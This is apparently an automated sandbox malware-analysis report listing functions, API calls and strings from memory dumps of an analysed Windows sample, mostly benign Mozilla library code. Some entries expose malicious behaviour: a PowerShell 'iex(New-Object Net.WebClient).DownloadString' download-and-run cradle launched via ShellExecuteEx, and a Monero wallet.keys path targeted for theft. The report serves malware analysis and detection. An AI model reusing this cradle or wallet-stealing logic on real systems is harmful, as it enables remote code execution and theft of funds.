ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 006D92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:m,80000000,00000003,00000000,00000003,00000080,00000000,?,006D3AEE,?), ref: 006D92FC
GetFileSizeEx.KERNEL32(000000FF,:m), ref: 006D9319
CloseHandle.KERNEL32(000000FF), ref: 006D9327

Strings

:m, xrefs: 006D92F8, 006D92FB
:m, xrefs: 006D9311, 006D933D, 006D9314

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :m$:m
API String ID: 1378416451-1333040222
Opcode ID: 10606d067983c8759fe1525277ac8239e5581ff3e38a9409ebbde5151a756149
Instruction ID: 37885dd7b8553b639c0e8e9c87a844ca95f392e7061ad69315f744d2490fe1b4
Opcode Fuzzy Hash: 10606d067983c8759fe1525277ac8239e5581ff3e38a9409ebbde5151a756149
Instruction Fuzzy Hash: 30F04935E54308BFDB14DFB0DC49F9E77BAAB48720F11C254BA51A72C0D671AA019F91

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

<jemalloc>, xrefs: 6C6905FA, 6C69060F
: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction ID: 5d20436572da2bca74fa40327ce16ae1097bfe10773e91a6ef8623a71e3834a3
Opcode Fuzzy Hash: 718b1e7a507a29194bee81f70a1d2deeffb3db7465f21d181ead2f123607c46d
Instruction Fuzzy Hash: 8AA15AB0A016458FDB24CF2AC594A99FBF1BF49304F44866ED44A97B00E731BA85CF99

Function 6C6B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6B14E2
GetCurrentThreadId.KERNEL32 ref: 6C6B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6B15BA
free.MOZGLUE(?), ref: 6C6B16B4

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction ID: aba4de780e88ec0fbd8ae92ed5aa9381c591fd8fdf4d159ca99d83c8d4769e11
Opcode Fuzzy Hash: 84b113b9a73e277b9fd29e08484e4394e3a35ff6a497e3b0073eb4c8ef52548c
Instruction Fuzzy Hash: 2361F572A007009BDB118F25C880BDEB7B5BF8A308F04851DED8A67711EB31E955CB99

Function 6C6ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6AD38A,?), ref: 6C6ADC6F
free.MOZGLUE(?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6AD38A,?), ref: 6C6ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6AD38A,?), ref: 6C6ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6AD38A,?), ref: 6C6ADD4A

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction ID: bcadd9162a49f29ceb0e17f71bb7541758fe66ea6d43d186fbb7bff36c009d76
Opcode Fuzzy Hash: e832c0ffbb3be5372cd064647279fbc88c4c6da441537e842909aca23f795383
Instruction Fuzzy Hash: 24416BB5A00605DFCB00CF99C88099AB7F5FF89314B654569DE46ABB11D771FC02CB98

Function 6C68F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C68F480

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

CloseHandle.KERNEL32(00000000), ref: 6C68F555

Part of subcall function 6C6614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C661248,6C661248,?), ref: 6C6614C9
Part of subcall function 6C6614B0: memcpy.VCRUNTIME140(?,6C661248,00000000,?,6C661248,?), ref: 6C6614EF

Part of subcall function 6C65EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C65EEE3

CreateFileW.KERNEL32 ref: 6C68F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C68F523

Strings

\oleacc.dll, xrefs: 6C68F4CB

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction ID: 0d1bc788e9566150df40bd87b32a434fe4a46e126bf0021ca286a0276173a7db
Opcode Fuzzy Hash: e7e48814ea99a76f411752119c71c55213dd58cbadc32e0fce5a34836752ec9b
Instruction Fuzzy Hash: 4541BF706097109FE720DF29D884A9BB7F4AF95318F504A1CF59083690EB70E949CBAB

Function 006D2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006DA9B0: lstrlen.KERNEL32(?,013E8AF0,?,\Monero\wallet.keys,006E0E17), ref: 006DA9C5
Part of subcall function 006DA9B0: lstrcpy.KERNEL32(00000000), ref: 006DAA04
Part of subcall function 006DA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006DAA12

Part of subcall function 006DA920: lstrcpy.KERNEL32(00000000,?), ref: 006DA972
Part of subcall function 006DA920: lstrcat.KERNEL32(00000000), ref: 006DA982

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

ShellExecuteEx.SHELL32(0000003C), ref: 006D2D85

Strings

<, xrefs: 006D2D39
')", xrefs: 006D2CB3
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 006D2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 006D2D04

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: b02815aa1f039641371a67ccc2357c74f206a625e27d8a5d09ee196bf6d2077f
Instruction ID: d9c145aaea7fda5e12fc3d9ace17181c5839a658b671df929f3536a370581755
Opcode Fuzzy Hash: b02815aa1f039641371a67ccc2357c74f206a625e27d8a5d09ee196bf6d2077f
Instruction Fuzzy Hash: 0F41FF71C142489ADB54FFE1C8A5BEDB776AF14300F40411EF406AB291EF742A8ADF99

Function 6C6B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6B7526
__Init_thread_footer.LIBCMT ref: 6C6B7566
__Init_thread_footer.LIBCMT ref: 6C6B7597

Strings

UnmapViewOfFile2, xrefs: 6C6B7552
kernel32.dll, xrefs: 6C6B7557

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction ID: 70c3812f21271e644d1c9f7080f2d601ef814584af8e9d41c780a69cb21825ee
Opcode Fuzzy Hash: 615ffa97ad8c0de051b7642b4bca49c3847e34a81dded684b7e6253d4862282e
Instruction Fuzzy Hash: 1621373270150197CB248FEAD894ED973B5EB87725F054529E80167B80DB31B9118BBF

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 006C9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 006C9F41

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Strings

@, xrefs: 006C9EF1
ERROR_RUN_EXTRACTOR, xrefs: 006C9E67
v20, xrefs: 006C9E21
v10, xrefs: 006C9EA3

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
